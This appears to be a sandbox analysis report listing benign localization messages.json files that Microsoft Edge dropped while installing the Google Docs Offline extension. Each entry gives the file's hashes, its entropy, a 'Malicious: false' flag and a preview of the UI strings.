Preview:	{"createnew":{"message":"\u0421\u0422\u0412\u0410\u0420\u042b\u0426\u042c \u041d\u041e\u0412\u042b"},"explanationofflinedisabled":{"message":"\u0412\u044b \u045e \u043f\u0430\u0437\u0430\u0441\u0435\u0442\u043a\u0430\u0432\u044b\u043c \u0440\u044d\u0436\u044b\u043c\u0435. \u041a\u0430\u0431 \u043a\u0430\u0440\u044b\u0441\u0442\u0430\u0446\u0446\u0430 \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0456 Google \u0431\u0435\u0437 \u043f\u0430\u0434\u043a\u043b\u044e\u0447\u044d\u043d\u043d\u044f \u0434\u0430 \u0456\u043d\u0442\u044d\u0440\u043d\u044d\u0442\u0443, \u043f\u0435\u0440\u0430\u0439\u0434\u0437\u0456\u0446\u0435 \u0434\u0430 \u043d\u0430\u043b\u0430\u0434 \u043d\u0430 \u0433\u0430\u043b\u043e\u045e\u043d\u0430\u0439 \u0441\u0442\u0430\u0440\u043e\u043d\u0446\u044b \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u045e Google \u0456 \u045e\u043a\u043b\u044e\u0447\u044b\u0446\u0435 \u0441\u0456\u043d\u0445\u0440\u0430\u043d\u0456\u0437\u0430\u0446\u044b\u044e

C:\Users\user\AppData\Local\Temp\scoped_dir7988_1914786284\CRX_INSTALL\_locales\bg\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1389
Entropy (8bit):	4.561317517930672
Encrypted:	false
SSDEEP:	24:1HAp1DQqUfZ+Yann08VOeadclUZbyMzZzsYvwUNn7nOyRK8/nn08V7:g1UTfZ+Ya08Uey3tflCRE08h
MD5:	2E6423F38E148AC5A5A041B1D5989CC0
SHA1:	88966FFE39510C06CD9F710DFAC8545672FFDCEB
SHA-256:	AC4A8B5B7C0B0DD1C07910F30DCFBDF1BCB701CFCFD182B6153FD3911D566C0E
SHA-512:	891FCDC6F07337970518322C69C6026896DD3588F41F1E6C8A1D91204412CAE01808F87F9F2DEA1754458D70F51C3CEF5F12A9E3FC011165A42B0844C75EC683
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. .. .......... Google ......... ... ........ ......, ........ ........... . ......... ........ .. Google ......... . ........ ...... .............. ......... ..., ...... ..... ...... . .........".. },.. "explanationofflineenabled": {.. "message": "...... ..., .. ... ...... .. ........... ......... ....... ... .. ......... .....".. },.. "extdesc": {.. "message": "............, .......... . ............ ...... ........., .......... ....... . ........... . ...... .... ... ...... .. .........".. },..

C:\Users\user\AppData\Local\Temp\scoped_dir7988_1914786284\CRX_INSTALL\_locales\bn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1763
Entropy (8bit):	4.25392954144533
Encrypted:	false
SSDEEP:	24:1HABGtNOtIyHmVd+q+3X2AFl2DhrR7FAWS9+SMzI8QVAEq8yB0XtfOyvU7D:oshmm/+H2Ml2DrFPS9+S99EzBd7D
MD5:	651375C6AF22E2BCD228347A45E3C2C9
SHA1:	109AC3A912326171D77869854D7300385F6E628C
SHA-256:	1DBF38E425C5C7FC39E8077A837DF0443692463BA1FBE94E288AB5A93242C46E
SHA-512:	958AA7CF645FAB991F2ECA0937BA734861B373FB1C8BCC001599BE57C65E0917F7833A971D93A7A6423C5F54A4839D3A4D5F100C26EFA0D2A068516953989F9D
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ....".. },.. "explanationofflinedisabled": {.. "message": ".... ....... ....... .... ......... ..... ..... Google ........ ....... ...., Google .......... ........ ....... ... ... .... ... .... ... ........... .... ....... .... ... ...... ..... .... .....".. },.. "explanationofflineenabled": {.. "message": ".... ....... ......, ...... .... .... ...... .......... ........ .... .. .... .... .... .... .......".. },.. "extdesc":

C:\Users\user\AppData\Local\Temp\scoped_dir7988_1914786284\CRX_INSTALL\_locales\ca\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	930
Entropy (8bit):	4.569672473374877
Encrypted:	false
SSDEEP:	12:1HASvggoSCBxNFT0sXuqgEHQ2fTq9blUJYUJaw9CBxejZFPLOjCSUuE44pMiiDat:1HAtqs+BEHGpURxSp1iUPWCAXtRKe
MD5:	D177261FFE5F8AB4B3796D26835F8331
SHA1:	4BE708E2FFE0F018AC183003B74353AD646C1657
SHA-256:	D6E65238187A430FF29D4C10CF1C46B3F0FA4B91A5900A17C5DFD16E67FFC9BD
SHA-512:	E7D730304AED78C0F4A78DADBF835A22B3D8114FB41D67B2B26F4FE938B572763D3E127B7C1C81EBE7D538DA976A7A1E7ADC40F918F88AFADEA2201AE8AB47D0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA'N UN DE NOU".. },.. "explanationofflinedisabled": {.. "message": "No tens connexi.. Per utilitzar Documents de Google sense connexi. a Internet, ves a la configuraci. de la p.gina d'inici d'aquest servei i activa l'opci. per sincronitzar-se sense connexi. la propera vegada que estiguis connectat a la xarxa.".. },.. "explanationofflineenabled": {.. "message": "Tot i que no tens connexi., pots editar o crear fitxers.".. },.. "extdesc": {.. "message": "Edita, crea i consulta documents, fulls de c.lcul i presentacions, tot sense acc.s a Internet.".. },.. "extname": {.. "message": "Documents de Google sense connexi.".. },.. "learnmore": {.. "message": "M.s informaci.".. },.. "popuphelptext": {.. "message": "Escriu text, edita fitxers i col.labora-hi siguis on siguis, amb o sense connexi. a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7988_1914786284\CRX_INSTALL\_locales\cs\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	913
Entropy (8bit):	4.947221919047
Encrypted:	false
SSDEEP:	12:1HASvgdsbCBxNBmobXP15Dxoo60n40h6qCBxeBeGG/9jZCSUKFPDLZ2B2hCBhPLm:1HApJmoZ5e50nzQhwAd7dvYB2kDSGGKs
MD5:	CCB00C63E4814F7C46B06E4A142F2DE9
SHA1:	860936B2A500CE09498B07A457E0CCA6B69C5C23
SHA-256:	21AE66CE537095408D21670585AD12599B0F575FF2CB3EE34E3A48F8CC71CFAB
SHA-512:	35839DAC6C985A6CA11C1BFF5B8B5E59DB501FCB91298E2C41CB0816B6101BF322445B249EAEA0CEF38F76D73A4E198F2B6E25EEA8D8A94EA6007D386D4F1055
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVO.IT".. },.. "explanationofflinedisabled": {.. "message": "Jste offline. Pokud chcete Dokumenty Google pou..vat bez p.ipojen. k.internetu, a. budete p...t. online, p.ejd.te do nastaven. na domovsk. str.nce Dokument. Google a.zapn.te offline synchronizaci.".. },.. "explanationofflineenabled": {.. "message": "Jste offline, ale st.le m..ete upravovat dostupn. soubory nebo vytv..et nov..".. },.. "extdesc": {.. "message": "Upravujte, vytv..ejte a.zobrazujte sv. dokumenty, tabulky a.prezentace . v.e bez p..stupu k.internetu.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Dal.. informace".. },.. "popuphelptext": {.. "message": "Pi.te, upravujte a.spolupracujte kdekoli, s.p.ipojen.m k.internetu i.bez n.j.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7988_1914786284\CRX_INSTALL\_locales\cy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	806
Entropy (8bit):	4.815663786215102
Encrypted:	false
SSDEEP:	12:YGo35xMxy6gLr4Dn1eBVa1xzxyn1VFQB6FDVgdAJex9QH7uy+XJEjENK32J21j:Y735+yoeeRG54uDmdXx9Q7u3r83Xj
MD5:	A86407C6F20818972B80B9384ACFBBED
SHA1:	D1531CD0701371E95D2A6BB5EDCB79B949D65E7C
SHA-256:	A482663292A913B02A9CDE4635C7C92270BF3C8726FD274475DC2C490019A7C9
SHA-512:	D9FBF675514A890E9656F83572208830C6D977E34D5744C298A012515BC7EB5A17726ADD0D9078501393BABD65387C4F4D3AC0CC0F7C60C72E09F336DCA88DE7
Malicious:	false
Preview:	{"createnew":{"message":"CREU NEWYDD"},"explanationofflinedisabled":{"message":"Rydych chi all-lein. I ddefnyddio Dogfennau Google heb gysylltiad \u00e2'r rhyngrwyd, ewch i'r gosodiadau ar dudalen hafan Dogfennau Google a throi 'offine sync' ymlaen y tro nesaf y byddwch wedi'ch cysylltu \u00e2'r rhyngrwyd."},"explanationofflineenabled":{"message":"Rydych chi all-lein, ond gallwch barhau i olygu'r ffeiliau sydd ar gael neu greu rhai newydd."},"extdesc":{"message":"Gallwch olygu, creu a gweld eich dogfennau, taenlenni a chyflwyniadau \u2013 i gyd heb fynediad i'r rhyngrwyd."},"extname":{"message":"Dogfennau Google All-lein"},"learnmore":{"message":"DYSGU MWY"},"popuphelptext":{"message":"Ysgrifennwch, golygwch a chydweithiwch lle bynnag yr ydych, gyda chysylltiad \u00e2'r rhyngrwyd neu hebddo."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir7988_1914786284\CRX_INSTALL\_locales\da\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	883
Entropy (8bit):	4.5096240460083905
Encrypted:	false
SSDEEP:	24:1HA4EFkQdUULMnf1yo+9qgpukAXW9bGJTvDyqdr:zEFkegfw9qwAXWNs/yu
MD5:	B922F7FD0E8CCAC31B411FC26542C5BA
SHA1:	2D25E153983E311E44A3A348B7D97AF9AAD21A30
SHA-256:	48847D57C75AF51A44CBF8F7EF1A4496C2007E58ED56D340724FDA1604FF9195
SHA-512:	AD0954DEEB17AF04858DD5EC3D3B3DA12DFF7A666AF4061DEB6FD492992D95DB3BAF751AB6A59BEC7AB22117103A93496E07632C2FC724623BB3ACF2CA6093F3
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPRET NYT".. },.. "explanationofflinedisabled": {.. "message": "Du er offline. Hvis du vil bruge Google Docs uden en internetforbindelse, kan du g. til indstillinger p. startsiden for Google Docs og aktivere offlinesynkronisering, n.ste gang du har internetforbindelse.".. },.. "explanationofflineenabled": {.. "message": "Du er offline, men du kan stadig redigere tilg.ngelige filer eller oprette nye.".. },.. "extdesc": {.. "message": "Rediger, opret og se dine dokumenter, regneark og pr.sentationer helt uden internetadgang.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "F. flere oplysninger".. },.. "popuphelptext": {.. "message": "Skriv, rediger og samarbejd, uanset hvor du er, og uanset om du har internetforbindelse.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7988_1914786284\CRX_INSTALL\_locales\de\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	4.621865814402898
Encrypted:	false
SSDEEP:	24:1HA6sZnqWd77ykJzCkhRhoe1HMNaAJPwG/p98HKpy2kX/R:WZqWxykJzthRhoQma+tpyHX2O/R
MD5:	D116453277CC860D196887CEC6432FFE
SHA1:	0AE00288FDE696795CC62FD36EABC507AB6F4EA4
SHA-256:	36AC525FA6E28F18572D71D75293970E0E1EAD68F358C20DA4FDC643EEA2C1C5
SHA-512:	C788C3202A27EC220E3232AE25E3C855F3FDB8F124848F46A3D89510C564641A2DFEA86D5014CEA20D3D2D3C1405C96DBEB7CCAD910D65C55A32FDCA8A33FDD4
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NEU ERSTELLEN".. },.. "explanationofflinedisabled": {.. "message": "Sie sind offline. Um Google Docs ohne Internetverbindung zu verwenden, gehen Sie auf der Google Docs-Startseite auf \"Einstellungen\" und schalten die Offlinesynchronisierung ein, wenn Sie das n.chste Mal mit dem Internet verbunden sind.".. },.. "explanationofflineenabled": {.. "message": "Sie sind offline, aber k.nnen weiterhin verf.gbare Dateien bearbeiten oder neue Dateien erstellen.".. },.. "extdesc": {.. "message": "Mit der Erweiterung k.nnen Sie Dokumente, Tabellen und Pr.sentationen bearbeiten, erstellen und aufrufen.. ganz ohne Internetverbindung.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Weitere Informationen".. },.. "popuphelptext": {.. "message": "Mit oder ohne Internetverbindung: Sie k.nnen von .berall Dokumente erstellen, .ndern und zusammen mit anderen

C:\Users\user\AppData\Local\Temp\scoped_dir7988_1914786284\CRX_INSTALL\_locales\el\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1613
Entropy (8bit):	4.618182455684241
Encrypted:	false
SSDEEP:	24:1HAJKan4EITDZGoziRAc2Z8eEfkTJfLhGX7b0UBNoAcGpVyhxefSmuq:SKzTD0IK85JlwsGOUyaSk
MD5:	9ABA4337C670C6349BA38FDDC27C2106
SHA1:	1FC33BE9AB4AD99216629BC89FBB30E7AA42B812
SHA-256:	37CA6AB271D6E7C9B00B846FDB969811C9CE7864A85B5714027050795EA24F00
SHA-512:	8564F93AD8485C06034A89421CE74A4E719BBAC865E33A7ED0B87BAA80B7F7E54B240266F2EDB595DF4E6816144428DB8BE18A4252CBDCC1E37B9ECC9F9D7897
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......... ....".. },.. "explanationofflinedisabled": {.. "message": "..... ..... ......... ... .. ............... .. ....... Google ..... ....... ... ........., ......... .... ......... .... ...... ...... ... ........ Google ... ............. ... ........... ..... ........ ... ....... .... ... .. ..... ............ ... ..........".. },.. "explanationofflineenabled": {.. "message": "..... ..... ........ .... ........ .. .............. .. ......... ...... . .. ............. ... .......".. },.. "extdesc": {.. "message": ".............., ............ ... ..... .. ......., .

C:\Users\user\AppData\Local\Temp\scoped_dir7988_1914786284\CRX_INSTALL\_locales\en\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7988_1914786284\CRX_INSTALL\_locales\en_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7988_1914786284\CRX_INSTALL\_locales\en_GB\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	848
Entropy (8bit):	4.494568170878587
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3vRyc1NzXW6iFrSCBxesJGceKCSUuvlvOgwCBhUufz1tnaXrQ:1HA3djfR3NzXviFrJj4sJXJ+bA6RM
MD5:	3734D498FB377CF5E4E2508B8131C0FA
SHA1:	AA23E39BFE526B5E3379DE04E00EACBA89C55ADE
SHA-256:	AB5CDA04013DCE0195E80AF714FBF3A67675283768FFD062CF3CF16EDB49F5D4
SHA-512:	56D9C792954214B0DE56558983F7EB7805AC330AF00E944E734340BE41C68E5DD03EDDB17A63BC2AB99BDD9BE1F2E2DA5BE8BA7C43D938A67151082A9041C7BA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an Internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the Internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create and view your documents, spreadsheets and presentations . all without Internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn more".. },.. "popuphelptext": {.. "message": "Write, edit and collaborate wherever you are, with or without an Internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7988_1914786284\CRX_INSTALL\_locales\en_US\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1425
Entropy (8bit):	4.461560329690825
Encrypted:	false
SSDEEP:	24:1HA6Krbbds5Kna/BNzXviFrpsCxKU4irpNQ0+qWK5yOJAaCB7MAa6:BKrbBs5Kna/BNzXvi3sCxKZirA0jWK5m
MD5:	578215FBB8C12CB7E6CD73FBD16EC994
SHA1:	9471D71FA6D82CE1863B74E24237AD4FD9477187
SHA-256:	102B586B197EA7D6EDFEB874B97F95B05D229EA6A92780EA8544C4FF1E6BC5B1
SHA-512:	E698B1A6A6ED6963182F7D25AC12C6DE06C45D14499DDC91E81BDB35474E7EC9071CFEBD869B7D129CB2CD127BC1442C75E408E21EB8E5E6906A607A3982B212
Malicious:	false
Preview:	{.. "createNew": {.. "description": "Text shown in the extension pop up for creating a new document",.. "message": "CREATE NEW".. },.. "explanationOfflineDisabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is disabled.",.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationOfflineEnabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is enabled.",.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extDesc": {.. "description": "Extension description",.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extName": {.. "description": "Extension name",..

C:\Users\user\AppData\Local\Temp\scoped_dir7988_1914786284\CRX_INSTALL\_locales\es\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	961
Entropy (8bit):	4.537633413451255
Encrypted:	false
SSDEEP:	12:1HASvggeCBxNFxcw2CVcfamedatqWCCBxeFxCF/m+rWAaFQbCSUuExqIQdO06stp:1HAqn0gcfa9dc/5mCpmIWck02USfWmk
MD5:	F61916A206AC0E971CDCB63B29E580E3
SHA1:	994B8C985DC1E161655D6E553146FB84D0030619
SHA-256:	2008F4FAAB71AB8C76A5D8811AD40102C380B6B929CE0BCE9C378A7CADFC05EB
SHA-512:	D9C63B2F99015355ACA04D74A27FD6B81170750C4B4BE7293390DC81EF4CD920EE9184B05C61DC8979B6C2783528949A4AE7180DBF460A2620DBB0D3FD7A05CF
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a Configuraci.n en la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que te conectes a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n. Aun as., puedes crear archivos o editar los que est.n disponibles.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones; todo ello, sin acceso a Internet.".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe o edita contenido y colabora con otras personas desde cualquier lugar, con o sin conexi.n a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7988_1914786284\CRX_INSTALL\_locales\es_419\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	959
Entropy (8bit):	4.570019855018913
Encrypted:	false
SSDEEP:	24:1HARn05cfa9dcDmQOTtSprj0zaGUSjSGZ:+n0CfMcDmQOTQprj4qpC
MD5:	535331F8FB98894877811B14994FEA9D
SHA1:	42475E6AFB6A8AE41E2FC2B9949189EF9BBE09FB
SHA-256:	90A560FF82605DB7EDA26C90331650FF9E42C0B596CEDB79B23598DEC1B4988F
SHA-512:	2CE9C69E901AB5F766E6CFC1E592E1AF5A07AA78D154CCBB7898519A12E6B42A21C5052A86783ABE3E7A05043D4BD41B28960FEDDB30169FF7F7FE7208C8CFE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NUEVO".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a la configuraci.n de la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que est.s conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n, pero a.n puedes modificar los archivos disponibles o crear otros nuevos.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones aunque no tengas acceso a Internet".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, modifica y colabora dondequiera que est.s, con conexi.n a Internet o sin ella.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7988_1914786284\CRX_INSTALL\_locales\et\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	968
Entropy (8bit):	4.633956349931516
Encrypted:	false
SSDEEP:	24:1HA5WG6t306+9sihHvMfdJLjUk4NJPNczGr:mWGY0cOUdJODPmzs
MD5:	64204786E7A7C1ED9C241F1C59B81007
SHA1:	586528E87CD670249A44FB9C54B1796E40CDB794
SHA-256:	CC31B877238DA6C1D51D9A6155FDE565727A1956572F466C387B7E41C4923A29
SHA-512:	44FCF93F3FB10A3DB68D74F9453995995AB2D16863EC89779DB451A4D90F19743B8F51095EEC3ECEF5BD0C5C60D1BF3DFB0D64DF288DCCFBE70C129AE350B2C6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LOO UUS".. },.. "explanationofflinedisabled": {.. "message": "Teil ei ole v.rgu.hendust. Teenuse Google.i dokumendid kasutamiseks ilma Interneti-.henduseta avage j.rgmine kord, kui olete Internetiga .hendatud, teenuse Google.i dokumendid avalehel seaded ja l.litage sisse v.rgu.henduseta s.nkroonimine.".. },.. "explanationofflineenabled": {.. "message": "Teil ei ole v.rgu.hendust, kuid saate endiselt saadaolevaid faile muuta v.i uusi luua.".. },.. "extdesc": {.. "message": "Saate luua, muuta ja vaadata oma dokumente, arvustustabeleid ning esitlusi ilma Interneti-.henduseta.".. },.. "extname": {.. "message": "V.rgu.henduseta Google.i dokumendid".. },.. "learnmore": {.. "message": "Lisateave".. },.. "popuphelptext": {.. "message": "Kirjutage, muutke ja tehke koost..d .ksk.ik kus olenemata sellest, kas teil on Interneti-.hendus.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7988_1914786284\CRX_INSTALL\_locales\eu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	838
Entropy (8bit):	4.4975520913636595
Encrypted:	false
SSDEEP:	24:YnmjggqTWngosqYQqE1kjO39m7OddC0vjWQMmWgqwgQ8KLcxOb:Ynmsgqyngosq9qxTOs0vjWQMbgqchb
MD5:	29A1DA4ACB4C9D04F080BB101E204E93
SHA1:	2D0E4587DDD4BAC1C90E79A88AF3BD2C140B53B1
SHA-256:	A41670D52423BA69C7A65E7E153E7B9994E8DD0370C584BDA0714BD61C49C578
SHA-512:	B7B7A5A0AA8F6724B0FA15D65F25286D9C66873F03080CBABA037BDEEA6AADC678AC4F083BC52C2DB01BEB1B41A755ED67BBDDB9C0FE4E35A004537A3F7FC458
Malicious:	false
Preview:	{"createnew":{"message":"SORTU"},"explanationofflinedisabled":{"message":"Ez zaude konektatuta Internetera. Google Dokumentuak konexiorik gabe erabiltzeko, joan Google Dokumentuak zerbitzuaren orri nagusiko ezarpenetara eta aktibatu konexiorik gabeko sinkronizazioa Internetera konektatzen zaren hurrengoan."},"explanationofflineenabled":{"message":"Ez zaude konektatuta Internetera, baina erabilgarri dauden fitxategiak edita ditzakezu, baita beste batzuk sortu ere."},"extdesc":{"message":"Editatu, sortu eta ikusi dokumentuak, kalkulu-orriak eta aurkezpenak Interneteko konexiorik gabe."},"extname":{"message":"Google Dokumentuak konexiorik gabe"},"learnmore":{"message":"Lortu informazio gehiago"},"popuphelptext":{"message":"Edonon zaudela ere, ez duzu zertan konektatuta egon idatzi, editatu eta lankidetzan jardun ahal izateko."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir7988_1914786284\CRX_INSTALL\_locales\fa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1305
Entropy (8bit):	4.673517697192589
Encrypted:	false
SSDEEP:	24:1HAX9yM7oiI99Rwx4xyQakJbfAEJhmq/RlBu92P7FbNcgYVJ0:JM7ovex4xyQaKjAEyq/p7taX0
MD5:	097F3BA8DE41A0AAF436C783DCFE7EF3
SHA1:	986B8CABD794E08C7AD41F0F35C93E4824AC84DF
SHA-256:	7C4C09D19AC4DA30CC0F7F521825F44C4DFBC19482A127FBFB2B74B3468F48F1
SHA-512:	8114EA7422E3B20AE3F08A3A64A6FFE1517A7579A3243919B8F789EB52C68D6F5A591F7B4D16CEE4BD337FF4DAF4057D81695732E5F7D9E761D04F859359FADB
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ... ....".. },.. "explanationofflinedisabled": {.. "message": "...... ...... .... ....... .. ....... Google .... ..... ........ .... ... .. .. ....... ... ..... .. ....... .. .... .... ....... Google ..... . .......... ...... .. .... .....".. },.. "explanationofflineenabled": {.. "message": "...... ..... ... ...... ......... ......... .. .. .. ..... ..... ...... .... .. ........ ..... ..... .....".. },.. "extdesc": {.. "message": "...... ............ . ........ .. ....... ..... . ...... .... . ... ... ..... .... ...... .. ........".. },.. "extname": {.. "message": "....... Google .

C:\Users\user\AppData\Local\Temp\scoped_dir7988_1914786284\CRX_INSTALL\_locales\fi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	911
Entropy (8bit):	4.6294343834070935
Encrypted:	false
SSDEEP:	12:1HASvguCBxNMME2BESA7gPQk36xCBxeMMcXYBt+CSU1pfazCBhUunV1tLaX5GI2N:1HAVioESAsPf36O3Xst/p3J8JeEY
MD5:	B38CBD6C2C5BFAA6EE252D573A0B12A1
SHA1:	2E490D5A4942D2455C3E751F96BD9960F93C4B60
SHA-256:	2D752A5DBE80E34EA9A18C958B4C754F3BC10D63279484E4DF5880B8FD1894D2
SHA-512:	6E65207F4D8212736059CC802C6A7104E71A9CC0935E07BD13D17EC46EA26D10BC87AD923CD84D78781E4F93231A11CB9ED8D3558877B6B0D52C07CB005F1C0C
Malicious:	false
